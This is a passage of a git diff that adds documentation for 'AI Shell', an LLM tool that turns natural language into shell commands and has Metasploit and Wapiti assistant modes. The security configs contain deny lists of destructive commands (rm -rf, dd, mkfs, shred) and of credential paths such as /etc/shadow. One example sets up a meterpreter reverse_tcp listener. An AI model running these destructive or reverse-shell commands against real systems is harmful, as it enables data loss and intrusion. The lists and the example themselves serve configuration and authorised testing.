optimization +- **Load Balancing**: Provider selection strategies + +## 🔮 Future Architecture + +### Planned Enhancements + +1. **Plugin System** + - Modular tool integration + - Third-party provider support + - Custom command handlers + +2. **Distributed Architecture** + - Remote LLM provider support + - Distributed configuration management + - Multi-user support + +3. **Advanced Security** + - Role-based access control + - Audit logging + - Compliance frameworks + +4. **Machine Learning** + - Local model fine-tuning + - Usage pattern analysis + - Predictive command suggestions + +This architecture enables AI Shell to be maintainable, extensible, and secure while providing a rich user experience for command-line operations. \ No newline at end of file diff --git a/docs/CONFIGURATION.md b/docs/CONFIGURATION.md new file mode 100644 index 0000000..8aabcc9 --- /dev/null +++ b/docs/CONFIGURATION.md @@ -0,0 +1,540 @@ +# Configuration Guide + +This guide provides comprehensive information about configuring AI Shell for optimal performance and security. + +## 📋 Configuration Overview + +AI Shell uses a YAML-based configuration system with support for environment variables and default fallbacks. The configuration controls LLM providers, security settings, logging, and training data collection. + +### Configuration Hierarchy + +1. **Command-line arguments** (highest priority) +2. **Environment variables** +3. **Configuration file** (`config.yaml`) +4. **Default values** (lowest priority) + +## 🔧 Basic Configuration + +### Creating Your First Config + +```bash +# Copy the example configuration +cp config.yaml.example config.yaml + +# Edit with your preferred editor +nano config.yaml +``` + +### Minimal Configuration + +```yaml +# Minimal config for Gemini API +llm: + provider: gemini + gemini: + api_key: "your_gemini_api_key_here" +``` + +```yaml +# Minimal config for local LLM +llm: + provider: local + local: + model: llama3 +``` + +## 🧠 LLM Provider Configuration + +### Google Gemini + +```yaml +llm: + provider: gemini + gemini: + api_key: "" # Your API key or use GEMINI_API_KEY env var + model: gemini-1.5-flash # Options: gemini-1.5-flash, gemini-1.5-pro + temperature: 0.1 # Controls randomness (0.0-2.0) + max_tokens: 2048 # Maximum response length + timeout: 30 # Request timeout in seconds +``` + +**Environment Variables:** +```bash +export GEMINI_API_KEY="your_key_here" +export GEMINI_MODEL="gemini-1.5-flash" +``` + +**Available Models:** +- `gemini-1.5-flash`: Fast, cost-effective for most tasks +- `gemini-1.5-pro`: More capable, higher cost +- `gemini-1.0-pro`: Legacy model + +### Local LLM (Ollama) + +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + model: llama3 # Must be installed via 'ollama pull' + temperature: 0.1 + max_tokens: 2048 + timeout: 60 # Local models may need more time + context_window: 4096 # Model context size +``` + +**Advanced Local Configuration:** +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + models: + default: llama3:8b + code: codellama:13b + security: llama3:70b + model_selection: auto # or 'manual' + gpu_layers: -1 # Use all GPU layers + num_thread: 8 # CPU threads to use +``` + +**Supported Local Models:** +- `llama3:8b` - General purpose, good balance +- `llama3:70b` - Most capable, requires more resources +- `codellama:13b` - Optimized for code generation +- `mistral:7b` - Fast and efficient +- `mixtral:8x7b` - Mixture of experts model + +## 🔒 Security Configuration + +### Basic Security Settings + +```yaml +security: + require_confirmation: true # Always ask before executing commands + dangerous_commands: + - rm -rf + - format + - dd if= + - mkfs + - fdisk + - wipefs + - shred + - chmod 777 + - chown -R root + + # Commands that bypass confirmation + safe_commands: + - ls + - cat + - echo + - pwd + - whoami + - date +``` + +### Advanced Security Configuration + +```yaml +security: + require_confirmation: true + + # Command validation rules + validation: + max_command_length: 1000 + allow_pipes: true + allow_redirects: true + block_privilege_escalation: true + + # Path restrictions + restricted_paths: + - /etc/passwd + - /etc/shadow + - /boot + - /sys + - /proc/*/mem + + # User restrictions + allowed_users: + - myuser + - developer + + # Environment restrictions + blocked_env_vars: + - LD_PRELOAD + - DYLD_INSERT_LIBRARIES + + # Audit settings + audit_log: true + audit_file: /var/log/ai_shell_audit.log +``` + +### Security Profiles + +**Development Profile:** +```yaml +security: + require_confirmation: false + dangerous_commands: [] # Allow everything for development + audit_log: true +``` + +**Production Profile:** +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm -rf + - sudo + - chmod + - chown + - mount + - umount + strict_mode: true + audit_log: true +``` + +**High-Security Profile:** +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm + - mv + - cp + - chmod + - chown + - sudo + - su + whitelist_mode: true # Only allow explicitly safe commands + safe_commands: + - ls + - cat + - grep + - find + - head + - tail +``` + +## 📊 Logging Configuration + +### Basic Logging + +```yaml +logging: + level: INFO # DEBUG, INFO, WARNING, ERROR, CRITICAL + file: ai_shell.log + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' +``` + +### Advanced Logging + +```yaml +logging: + level: INFO + + # Multiple log handlers + handlers: + file: + filename: ai_shell.log + max_bytes: 10485760 # 10MB + backup_count: 5 + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' + + console: + level: WARNING + format: '%(levelname)s: %(message)s' + + syslog: + address: localhost:514 + facility: user + format: 'ai_shell[%(process)d]: %(message)s' + + # Component-specific logging + loggers: + ai_shell.llm: DEBUG + ai_shell.executor: INFO + ai_shell.security: WARNING +``` + +### Log Rotation + +```yaml +logging: + file: ai_shell.log + rotation: + max_size: 50MB + backup_count: 10 + compress: true + when: midnight # Daily rotation +``` + +## 📈 Training Configuration + +### Basic Training Settings + +```yaml +training: + dataset_file: training_dataset.jsonl + auto_log: true # Automatically log successful commands + include_corrections: true # Log user corrections +``` + +### Advanced Training Configuration + +```yaml +training: + dataset_file: training_dataset.jsonl + auto_log: true + + # Data collection settings + collection: + include_system_info: false # Don't log system details + anonymize_paths: true # Replace /home/user with /home/[USER] + include_timestamps: true + include_execution_time: true + + # Quality filters + filters: + min_command_length: 3 + max_command_length: 200 + exclude_failed_commands: true + exclude_dangerous_commands: true + + # Export settings + export: + format: jsonl # or 'csv', 'json' + batch_size: 1000 + compression: gzip +``` + +## 🌍 Environment Variables + +### Core Environment Variables + +```bash +# LLM Configuration +export GEMINI_API_KEY="your_key_here" +export AI_SHELL_CONFIG="/path/to/config.yaml" +export AI_SHELL_PROVIDER="local" # or "gemini" + +# Security +export AI_SHELL_CONFIRM="true" # Require confirmation +export AI_SHELL_SAFE_MODE="true" # Extra security checks + +# Logging +export AI_SHELL_LOG_LEVEL="DEBUG" +export AI_SHELL_LOG_FILE="/var/log/ai_shell.log" + +# Training +export AI_SHELL_TRAINING_FILE="/path/to/training.jsonl" +export AI_SHELL_AUTO_LOG="true" +``` + +### Provider-Specific Variables + +**Gemini:** +```bash +export GEMINI_API_KEY="your_key" +export GEMINI_MODEL="gemini-1.5-flash" +export GEMINI_TEMPERATURE="0.1" +export GEMINI_TIMEOUT="30" +``` + +**Ollama:** +```bash +export OLLAMA_HOST="localhost" +export OLLAMA_PORT="11434" +export OLLAMA_MODEL="llama3" +export OLLAMA_GPU_LAYERS="-1" +export OLLAMA_NUM_THREAD="8" +``` + +## 🔧 Advanced Configuration + +### Multiple Profiles + +Create different configurations for different contexts: + +**Profile Structure:** +``` +~/.ai_shell/ +├── config/ +│ ├── development.yaml +│ ├── production.yaml +│ ├── security_testing.yaml +│ └── default.yaml +└── profiles/ + ├── work.yaml + └── personal.yaml +``` + +**Using Profiles:** +```bash +ai-shell --config ~/.ai_shell/config/development.yaml +ai-shell --config ~/.ai_shell/profiles/work.yaml +``` + +### Dynamic Configuration via Environment Variables + +AI Shell reads environment variables directly in code. Use them to override config values without editing `config.yaml`: + +```bash +export GEMINI_API_KEY="your_key_here" # Read by config.py default config +``` + +The configuration hierarchy is: **CLI flags → environment variables → `config.yaml` → defaults**. + +### Configuration Validation + +AI Shell validates your configuration on startup. If a config file contains invalid YAML or unreadable values, it falls back to defaults and prints a warning. + +**Common Issues:** +- Missing required API keys — set `GEMINI_API_KEY` env var or add to `config.yaml` +- Invalid YAML syntax — validate with `python -c "import yaml; yaml.safe_load(open('config.yaml'))"` +- Wrong model names — see supported models listed in each provider section + +## 🎨 UI & Colors + +Terminal colors are controlled via the `colorama` library and are applied automatically. Colorama is listed in `requirements.txt` and provides ANSI color support on Windows as well as Linux/macOS. + +No additional YAML configuration is required for UI appearance. + +## 🔍 Debugging Configuration + +Enable verbose logging via the CLI or config file: + +```bash +# Enable debug logging at runtime +ai-shell --log-level DEBUG + +# Or set in config.yaml +``` + +```yaml +logging: + level: DEBUG + file: ai_shell.log +``` + +Then tail the log: + +```bash +tail -f ai_shell.log +``` + +## 📝 Configuration Templates + +### Basic User Template + +```yaml +# ~/.ai_shell/config.yaml +llm: + provider: gemini + gemini: + api_key: !ENV ${GEMINI_API_KEY} + +security: + require_confirmation: true + +logging: + level: INFO + file: ~/.ai_shell/ai_shell.log +``` + +### Power User Template + +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + model: llama3:70b + +security: + require_confirmation: false + dangerous_commands: + - rm -rf / + - format + +logging: + level: DEBUG + handlers: + file: + filename: ~/.ai_shell/debug.log + console: + level: WARNING + +training: + auto_log: true + dataset_file: ~/.ai_shell/training.jsonl +``` + +### Enterprise Template + +```yaml +llm: + provider: local # Keep data on-premises + local: + host: llm-server.company.com + port: 11434 + model: llama3:70b + +security: + require_confirmation: true + audit_log: true + audit_file: /var/log/ai_shell_audit.log + + dangerous_commands: + - rm + - mv + - chmod + - chown + - sudo + - mount + - systemctl + +logging: + level: INFO + handlers: + syslog: + address: syslog.company.com:514 + facility: user + +training: + auto_log: false # Manual approval only +``` + +## 🚀 Best Practices + +### Security Best Practices + +1. **Never commit API keys to version control** +2. **Use environment variables for sensitive data** +3. **Regularly rotate API keys** +4. **Enable audit logging in production** +5. **Use least-privilege security profiles** + +### Performance Best Practices + +1. **Use appropriate models for the task** +2. **Configure reasonable timeouts** +3. **Enable local caching when possible** +4. **Monitor resource usage** +5. **Use log rotation to prevent disk issues** + +### Maintenance Best Practices + +1. **Regularly review and update configurations** +2. **Test configuration changes in development first** +3. **Monitor log files for errors** +4. **Keep backup configurations** +5. **Document custom configurations** + +For more detailed information, see: +- [Architecture Documentation](ARCHITECTURE.md) +- [Examples and Tutorials](EXAMPLES.md) +- [Troubleshooting Guide](TROUBLESHOOTING.md) \ No newline at end of file diff --git a/docs/EXAMPLES.md b/docs/EXAMPLES.md new file mode 100644 index 0000000..998d65f --- /dev/null +++ b/docs/EXAMPLES.md @@ -0,0 +1,316 @@ +# Examples and Tutorials + +This guide provides practical examples and step-by-step tutorials for using AI Shell effectively. + +## Quick Start Examples + +### Basic Command Translation + +Start AI Shell in translator mode and enter natural language prompts: + +```bash +ai-shell --mode translator +``` + +Example interactions: + +``` +> find all Python files in my current directory +-> find . -name "*.py" -type f + +> show me the largest files in my home directory +-> find ~ -type f -exec ls -lah {} + | sort -k5 -hr | head -10 + +> compress all log files older than 7 days +-> find /var/log -name "*.log" -mtime +7 -exec gzip {} \; + +> show running processes sorted by memory usage +-> ps aux --sort=-%mem | head -20 + +> count lines of code in all Python files recursively +-> find . -name "*.py" | xargs wc -l | tail -1 +``` + +### Conversational Assistant + +Start in assistant mode for multi-turn conversations with context memory: + +```bash +ai-shell --mode assistant +``` + +Example conversation: + +``` +You: I need to set up a Python virtual environment for a new project + +Assistant: Here is how to create and activate a virtual environment: + +1. Create the environment: + python -m venv myproject_env + +2. Activate it: + source myproject_env/bin/activate # Linux/Mac + myproject_env\Scripts\activate # Windows + +3. Install packages: + pip install requests flask + +4. Save dependencies: + pip freeze > requirements.txt + +You: How do I deactivate when I'm done? + +Assistant: Simply run: + deactivate + +This returns you to your system Python. The environment is preserved and +can be re-activated any time with the activation command above. +``` + +### Metasploit Assistant + +Security testing with AI guidance inside a live `msfconsole` session: + +```bash +ai-shell --mode metasploit +``` + +Once `msfconsole` opens, regular commands work as usual. Prefix a line with `?` to ask the AI: + +``` +? search for vulnerabilities in Windows SMB services + +Assistant: I can help you find SMB vulnerabilities. Try: + search type:exploit platform:windows service:smb + +? set up a listener for a reverse shell + +Assistant: Use the multi/handler module: + use exploit/multi/handler + set PAYLOAD windows/meterpreter/reverse_tcp + set LHOST your_ip_address + set LPORT 4444 + run +``` + +### Wapiti Assistant + +Web application scanning with AI guidance: + +```bash +ai-shell --mode wapiti +``` + +A Bash shell opens. Use `?` to get wapiti commands from the AI: + +``` +? scan http://testphp.vulnweb.com for XSS and SQL injection + +Assistant: To scan for both XSS and SQLi vulnerabilities: + wapiti -u http://testphp.vulnweb.com -m xss,sql --scope domain + +? run a quick scan of example.com + +Assistant: For a quick scan: + wapiti -u http://example.com +``` + +--- + +## Detailed Tutorials + +### Tutorial 1: File Management Tasks + +Learn to use AI Shell for common file operations: + +```bash +ai-shell --mode assistant +``` + +``` +You: I have photos scattered in different folders. How can I organize them by date? + +Assistant: Here is a script to organize photos by year and month based on file modification date: + + find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" -o -iname "*.png" \) | while read file; do + date=$(stat -c %y "$file" | cut -d" " -f1) + year=$(echo $date | cut -d"-" -f1) + month=$(echo $date | cut -d"-" -f2) + mkdir -p "Photos/$year/$month" + mv "$file" "Photos/$year/$month/" + done + +You: How do I verify the result? + +Assistant: Use the tree command: + tree Photos/ +``` + +### Tutorial 2: System Monitoring Setup + +Set up comprehensive system monitoring: + +```bash +ai-shell --mode translator +``` + +``` +> create a script to monitor CPU, memory, and disk usage every 5 minutes +-> cat > monitor.sh << 'EOF' + #!/bin/bash + while true; do + echo "$(date): CPU: $(top -bn1 | grep Cpu | awk "{print \$2}"), \ + Mem: $(free | grep Mem | awk "{printf \"%.1f%%\", \$3/\$2*100}")" >> system_monitor.log + sleep 300 + done + EOF + chmod +x monitor.sh +``` + +### Tutorial 3: Development Environment Setup + +Quickly set up development environments: + +```bash +ai-shell --mode assistant +``` + +``` +You: Set up a Node.js + TypeScript project with ESLint and Prettier + +Assistant: Here are the steps: + +1. Initialize the project: + mkdir my-ts-project && cd my-ts-project + npm init -y + +2. Install TypeScript and tooling: + npm install -D typescript @types/node ts-node nodemon + npm install -D eslint @typescript-eslint/parser @typescript-eslint/eslint-plugin + npm install -D prettier eslint-config-prettier + +3. Create TypeScript config: + npx tsc --init + +4. Add scripts to package.json: + npm pkg set scripts.dev="nodemon --exec ts-node src/index.ts" + npm pkg set scripts.build="tsc" + npm pkg set scripts.lint="eslint src" + +Create src/index.ts and start coding! +``` + +--- + +## Advanced Use Cases + +### Automation Scripts + +**Daily System Cleanup:** + +```bash +#!/bin/bash +# daily_cleanup.sh - Use AI Shell for maintenance tasks + +# Clean temporary files +ai-shell --mode translator --no-confirmation <<'INPUT' +remove all files in /tmp older than 3 days +INPUT +``` + +**Development Workflow:** + +```bash +#!/bin/bash +# dev_workflow.sh + +PROJECT_DIR=$1 +cd "$PROJECT_DIR" + +ai-shell --mode translator --no-confirmation <<'INPUT' +run linting on all Python files +update requirements.txt with current dependencies +run tests and generate coverage report +INPUT +``` + +### Custom Configuration Examples + +**Minimal Gemini config:** + +```yaml +llm: + provider: gemini + gemini: + api_key: "" # or set GEMINI_API_KEY env var + model: gemini-1.5-flash +``` + +**Local LLM config:** + +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + model: llama3 +``` + +**Strict security config:** + +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm -rf + - format + - dd if= + - mkfs + - fdisk + - wipefs + - shred + - chmod 777 +``` + +--- + +## Best Practices + +### Effective Prompting + +**Good prompts (specific and actionable):** +- "Find all Python files modified in the last week" +- "Show me processes using more than 1 GB of memory" +- "Create a gzip backup of the database with a timestamp in the filename" +- "Set up a simple HTTP server on port 8000 in the current directory" + +**Avoid vague prompts:** +- "Fix my computer" +- "Make it faster" +- "Clean everything" +- "Install stuff" + +### Security Guidelines + +1. **Always review commands before execution** — read every command the AI proposes +2. **Use confirmation mode in production** — do not use `--no-confirmation` on live systems +3. **Audit the dangerous commands list** — customise `security.dangerous_commands` in `config.yaml` +4. **Keep API keys secure** — use environment variables; never store them in config files checked into git +5. **Only scan systems you own or have permission to test** — especially in Metasploit and Wapiti modes + +### Performance Tips + +1. **Use local LLMs for sensitive data** — prevents sending data to external APIs +2. **Choose the right model size** — `llama3:8b` is much faster than `:70b` for simple tasks +3. **Use `gemini-1.5-flash`** — faster and cheaper than `gemini-1.5-pro` for most tasks +4. **Reduce log verbosity** — set `logging.level: WARNING` once the setup is stable + +--- + +For more advanced topics, see: +- [Architecture Documentation](ARCHITECTURE.md) +- [Configuration Guide](CONFIGURATION.md) +- [Troubleshooting Guide](TROUBLESHOOTING.md) +- [Contributing Guidelines](../CONTRIBUTING.md) diff --git a/docs/PLUGINS.md b/docs/PLUGINS.md new file mode 100644 index 0000000..5eee740 --- /dev/null +++ b/docs/PLUGINS.md @@ -0,0 +1,79 @@ +# Plugin System + +AI Shell Suite supports **tool plugins** that provide specialized interactive assistants. + +## Built-in Plugins + +| ID | Name | Requires | +|--------------|-----------------------|-----------------------------------| +| `metasploit` | Metasploit Assistant | `msfconsole` | +| `wapiti` | Wapiti Assistant | `wapiti` | +| `nmap` | Nmap Assistant | `nmap` | +| `docker` | Docker Assistant | `docker` | +| `podman` | Podman Assistant | `podman` | +| `kubectl` | Kubectl Assistant | `kubectl` | +| `helm` | Helm Assistant | `helm` | +| `git` | Git Assistant | `git` | +| `ansible` | Ansible Assistant | `ansible` / `ansible-playbook` | +| `terraform` | Terraform Assistant | `terraform` or `tofu` | +| `aws` | AWS Assistant | `aws` | +| `trivy` | Trivy Assistant | `trivy` | +| `systemd` | Systemd Assistant | `systemctl` | +| `network` | Network Assistant | `ip` / `ss` / `ifconfig` | + +## Using a Plugin + +```bash +ai-shell --mode kubectl +ai-shell -m git -p local +ais -m terraform +ais -m ansible --dry-run +``` + +Or run `ai-shell` and pick from the interactive menu (plugins appear after the core modes). Unavailable tools are marked “(not installed)”. + +## Creating a New Plugin + +1. Create a file under `ai_shell/plugins/`, e.g. `mytool.py`: + +```python +from .base import ToolPlugin, register_plugin_class + +MYTOOL_SYSTEM_PROMPT = ( + "You are an expert assistant for mytool. " + "When you provide a command, enclose it in a ```bash ... ``` block." +) + +@register_plugin_class +class MyToolPlugin(ToolPlugin): + id = "mytool" + name = "MyTool Assistant" + description = "Short description shown in the menu" + system_prompt = MYTOOL_SYSTEM_PROMPT + start_command = ["bash"] # or ["mytool"] for a direct shell + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("mytool") is not None +``` + +2. Restart `ai-shell`. The plugin is auto-discovered and appears in the menu. + +## API Overview + +| Symbol | Purpose | +|---------------------------|----------------------------------------------| +| `ToolPlugin` | Abstract base class | +| `@register_plugin_class` | Decorator – registers on import | +| `list_plugins()` | All registered plugin instances | +| `list_plugin_info()` | Lightweight metadata for menus | +| `get_plugin(id)` | Lookup by id | +| `discover_plugins()` | Scans the package (called automatically) | + +Plugins may override: + +- `check_available()` – detect whether the binary is installed +- `on_start()` / `on_stop()` – lifecycle hooks +- `preprocess_command(cmd)` – transform LLM suggestions before execution diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md new file mode 100644 index 0000000..0b3e870 --- /dev/null +++ b/docs/TROUBLESHOOTING.md @@ -0,0 +1,487 @@ +# Troubleshooting Guide + +This guide helps you resolve common issues when using AI Shell. + +## 🚨 Common Issues + +### Installation Problems + +#### Issue: `ModuleNotFoundError: No module named 'ai_shell'` + +**Symptoms:** +- Error when running `ai-shell` command +- Python cannot find the ai_shell module + +**Solutions:** +1. **Install in development mode:** + ```bash + cd Ai_shell + pip install -e . + ``` + +2. **Check Python path:** + ```bash + python -c "import sys; print(sys.path)" + ``` + +3. **Use virtual environment:** + ```bash + python -m venv venv + source venv/bin/activate # On Windows: venv\Scripts\activate + pip install -e . + ``` + +#### Issue: `pip install` fails with permission errors + +**Symptoms:** +- Permission denied errors during installation +- Cannot write to system directories + +**Solutions:** +1. **Use virtual environment (recommended):** + ```bash + python -m venv venv + source venv/bin/activate + pip install -r requirements.txt + ``` + +2. **User installation:** + ```bash + pip install --user -r requirements.txt + ``` + +3. **Fix permissions (Linux/Mac):** + ```bash + sudo chown -R $USER ~/.local/lib/python* + ``` + +### Configuration Issues + +#### Issue: `Config file not found` or invalid YAML + +**Symptoms:** +- Error loading configuration file +- YAML parsing errors + +**Solutions:** +1. **Copy example configuration:** + ```bash + cp config.yaml.example config.yaml + ``` + +2. **Validate YAML syntax:** + ```bash + python -c "import yaml; yaml.safe_load(open('config.yaml'))" + ``` + +3. **Check file permissions:** + ```bash + ls -la config.yaml + chmod 644 config.yaml + ``` + +4. **Use absolute paths:** + ```bash + ai-shell --config /full/path/to/config.yaml + ``` + +#### Issue: API key not working + +**Symptoms:** +- Authentication errors with Gemini API +- "Invalid API key" messages + +**Solutions:** +1. **Verify API key format:** + ```bash + echo $GEMINI_API_KEY | wc -c # Should be 39 characters + ``` + +2. **Set environment variable:** + ```bash + export GEMINI_API_KEY="your_actual_key_here" + # Add to ~/.bashrc or ~/.zshrc for persistence + ``` + +3. **Check API key in config:** + ```yaml + llm: + gemini: + api_key: "your_key_here" # Remove any extra spaces/quotes + ``` + +4. **Test API access:** + ```bash + curl -H "Authorization: Bearer $GEMINI_API_KEY" \ + https://generativelanguage.googleapis.com/v1/models + ``` + +### LLM Provider Issues + +#### Issue: Ollama connection failed + +**Symptoms:** +- "Connection refused" to localhost:11434 +- Ollama provider not available + +**Solutions:** +1. **Check if Ollama is running:** + ```bash + curl http://localhost:11434/api/version + ``` + +2. **Start Ollama service:** + ```bash + # Linux/Mac + ollama serve + + # Or as background service + nohup ollama serve > ollama.log 2>&1 & + ``` + +3. **Verify model is available:** + ```bash + ollama list + ollama pull llama3 # If model not found + ``` + +4. **Check configuration:** + ```yaml + llm: + local: + host: localhost + port: 11434 + model: llama3 # Must match installed model + ``` + +#### Issue: Slow response times + +**Symptoms:** +- Long delays waiting for AI responses +- Timeouts or connection errors + +**Solutions:** +1. **For Gemini API:** + - Check internet connection + - Verify API quotas and limits + - Use smaller models (gemini-1.5-flash vs gemini-1.5-pro) + +2. **For local LLMs:** + ```bash + # Check system resources + htop + nvidia-smi # If using GPU + + # Use smaller models + ollama pull llama3:8b # Instead of llama3:70b + ``` + +3. **Optimize configuration:** + ```yaml + llm: + gemini: + model: gemini-1.5-flash # Faster than pro + ``` + +### Security and Permissions + +#### Issue: Commands not executing + +**Symptoms:** +- AI generates commands but they don't run +- Permission denied errors + +**Solutions:** +1. **Check confirmation settings:** + ```yaml + security: + require_confirmation: true # Set to false for auto-execution + ``` + +2. **Verify command permissions:** + ```bash + # Test the generated command manually + ls -la /path/to/file + ``` + +3. **Check dangerous command list:** + ```yaml + security: + dangerous_commands: + - rm -rf # Remove if you want to allow + ``` + +#### Issue: "Command blocked by security policy" + +**Symptoms:** +- Security warnings for safe commands +- Overly restrictive validation + +**Solutions:** +1. **Review dangerous commands list:** + ```yaml + security: + dangerous_commands: + - rm -rf + - format + - dd if= + # Remove entries you trust + ``` + +2. **Disable confirmation temporarily:** + ```bash + ai-shell --no-confirmation + ``` + +3. **Use override flag:** + ```yaml + security: + require_confirmation: false + ``` + +### Platform-Specific Issues + +#### Windows Issues + +**PowerShell execution policy:** +```powershell +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser +``` + +**Path issues:** +```cmd +# Add Python Scripts to PATH +set PATH=%PATH%;%USERPROFILE%\AppData\Local\Programs\Python\Python3X\Scripts +``` + +**Colors not working:** +```bash +# Enable ANSI colors in Windows Terminal +pip install colorama +``` + +#### macOS Issues + +**Homebrew Python conflicts:** +```bash +# Use system Python or pyenv +pyenv install 3.11.0 +pyenv global 3.11.0 +``` + +**Permission issues:** +```bash +# Fix Homebrew permissions +sudo chown -R $(whoami) /usr/local/Homebrew +``` + +#### Linux Issues + +**Missing dependencies:** +```bash +# Ubuntu/Debian +sudo apt update +sudo apt install python3-pip python3-venv + +# CentOS/RHEL +sudo yum install python3-pip python3-venv +``` + +## 🔧 Debugging Tips + +### Enable Debug Logging + +1. **Command line:** + ```bash + ai-shell --log-level DEBUG + ``` + +2. **Configuration file:** + ```yaml + logging: + level: DEBUG + file: debug.log + ``` + +3. **View logs:** + ```bash + tail -f ai_shell.log + # Or + tail -f debug.log + ``` + +### Test Components Individually + +1. **Test configuration:** + ```python + from ai_shell.config import get_config + config = get_config() + print(config.get('llm.provider')) + ``` + +2. **Test LLM provider:** + ```python + from ai_shell.llm import get_llm_provider + from ai_shell.config import get_config, Config + + # Point to a config with your provider set + config = get_config() + provider = get_llm_provider() # Uses the globally loaded config + response, _ = provider.generate_response("list files", "translator") + print(response) + ``` + +3. **Test command execution:** + ```python + from ai_shell.executor import get_executor, SecurityChecker + + checker = SecurityChecker() + is_valid, warning = checker.validate_command('ls -la') + print(is_valid, warning) # True, None + + is_valid, warning = checker.validate_command('rm -rf /') + print(is_valid, warning) # False, "This command is potentially dangerous..." + ``` + +### Network Debugging + +1. **Test API connectivity:** + ```bash + # Test Gemini API + curl -H "Authorization: Bearer $GEMINI_API_KEY" \ + https://generativelanguage.googleapis.com/v1/models + + # Test Ollama + curl http://localhost:11434/api/version + ``` + +2. **Check proxy settings:** + ```bash + echo $HTTP_PROXY + echo $HTTPS_PROXY + ``` + +3. **Bypass proxy for local connections:** + ```bash + export NO_PROXY=localhost,127.0.0.1 + ``` + +## 📊 Performance Tuning + +### System Requirements + +**Minimum:** +- Python 3.9+ +- 4GB RAM +- 1GB free disk space + +**Recommended:** +- Python 3.11+ +- 8GB RAM +- 5GB free disk space +- SSD storage + +### Optimization Tips + +1. **For local LLMs:** + ```bash + # Use quantized models + ollama pull llama3:8b-q4_0 + + # Monitor resource usage + htop + nvidia-smi # For GPU + ``` + +2. **For API-based LLMs:** + ```yaml + # Use faster models + llm: + gemini: + model: gemini-1.5-flash + ``` + +3. **Reduce logging:** + ```yaml + logging: + level: WARNING # Instead of DEBUG/INFO + ``` + +## 🆘 Getting Help + +### Before Asking for Help + +1. **Search existing issues:** + - [GitHub Issues](https://github.com/GizzZmo/Ai_shell/issues) + - [GitHub Discussions](https://github.com/GizzZmo/Ai_shell/discussions) + +2. **Check documentation:** + - README.md + - This troubleshooting guide + - Architecture documentation + +3. **Gather information:** + ```bash + # System information + uname -a + python --version + pip list | grep -E "(ai-shell|google-generativeai|requests)" + + # AI Shell version + ai-shell --version + + # Configuration + cat config.yaml + ``` + +### Reporting Issues + +**Include this information:** +- Operating system and version +- Python version +- AI Shell version +- Configuration file (remove API keys) +- Full error message and stack trace +- Steps to reproduce the issue + +**Issue template:** +```markdown +## Environment +- OS: [e.g., Ubuntu 22.04, Windows 11, macOS 13.0] +- Python: [e.g., 3.11.0] +- AI Shell: [e.g., 0.1.0] + +## Configuration +```yaml +# Your config.yaml (remove API keys) +``` + +## Issue Description +[Clear description of the problem] + +## Steps to Reproduce +1. Run command X +2. See error Y + +## Expected Behavior +[What should happen] + +## Actual Behavior +[What actually happens] + +## Error Messages +``` +[Full error message and stack trace] +``` + +## Additional Context +[Any other relevant information] +``` + +### Community Support + +- **GitHub Discussions**: General questions and community help +- **GitHub Issues**: Bug reports and feature requests +- **Code Review**: Learning and improvement opportunities + +Remember: The more detailed information you provide, the easier it is for others to help you! 🚀 \ No newline at end of file diff --git a/docs/USAGE.md b/docs/USAGE.md new file mode 100644 index 0000000..7286601 --- /dev/null +++ b/docs/USAGE.md @@ -0,0 +1,64 @@ +# Usage Guide + +This guide summarizes how to run AI Shell from the command line, select operating modes, and choose the right provider for your environment. + +## ⚙️ Command-Line Quick Reference + +| Option | Description | +| ------ | ----------- | +| `--mode {translator,assistant,metasploit,wapiti}` | Run a specific mode without the interactive selector. | +| `--provider {gemini,local}` | Choose the LLM backend (Gemini API or local Ollama). | +| `--config ` | Path to a custom YAML configuration file. | +| `--api-key ` | Override the Gemini API key for this run. | +| `--no-confirmation` | Skip confirmation prompts for generated commands. | +| `--log-level {DEBUG,INFO,WARNING,ERROR}` | Override the logging level. | +| `--version` | Display AI Shell version. | + +Configuration precedence follows: **CLI flags → environment variables → `config.yaml` → defaults**. + +## 🎯 Operating Modes + +### Translator Mode +- Start with `ai-shell --mode translator`. +- Enter natural language prompts and receive a single shell command. +- Commands are validated before execution; type `exit` to quit. + +### Assistant Mode +- Start with `ai-shell --mode assistant`. +- Conversational guidance with history; responses may include runnable commands. +- When a command is detected, AI Shell asks for confirmation before running it. + +### Metasploit Assistant +- Start with `ai-shell --mode metasploit` (requires `msfconsole`). +- A Metasploit shell opens; prefix prompts with `?` to ask the AI for help. +- Confirm before executing AI-suggested commands; type `exit` inside msfconsole to leave. + +### Wapiti Assistant +- Start with `ai-shell --mode wapiti` (requires `wapiti` on PATH). +- Opens a Bash session tailored for web security tasks; prefix prompts with `?` to get AI-generated commands. +- Confirm before execution; exit the shell to return to your terminal. + +## 🤖 Provider Setup + +### Gemini (Cloud) +- Export your key: `export GEMINI_API_KEY="your_key"`. +- Run with `--provider gemini` or set `llm.provider: gemini` in `config.yaml`. +- You can override the key per run with `--api-key`. + +### Local (Ollama) +- Install Ollama and pull a model (e.g., `ollama pull llama3`). +- Start AI Shell with `--provider local`; the guided prompt helps select a model and host/port. +- Connection details are stored in the config for future runs. + +## 🛡️ Security & Confirmation + +- By default, AI Shell validates commands and asks for confirmation before executing. +- Use `--no-confirmation` for automation or when running in a controlled environment. +- Adjust the blocked command patterns via `security.dangerous_commands` in `config.yaml`. + +## 📚 Where to Go Next + +- **Configuration details:** [docs/CONFIGURATION.md](CONFIGURATION.md) +- **Architecture overview:** [docs/ARCHITECTURE.md](ARCHITECTURE.md) +- **Examples & tutorials:** [docs/EXAMPLES.md](EXAMPLES.md) +- **Troubleshooting tips:** [docs/TROUBLESHOOTING.md](TROUBLESHOOTING.md) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..c961e9a --- /dev/null +++ b/requirements.txt @@ -0,0 +1,4 @@ +requests>=2.31.0 +google-generativeai>=0.3.0 +PyYAML>=6.0 +colorama>=0.4.6 \ No newline at end of file diff --git a/setup.py b/setup.py new file 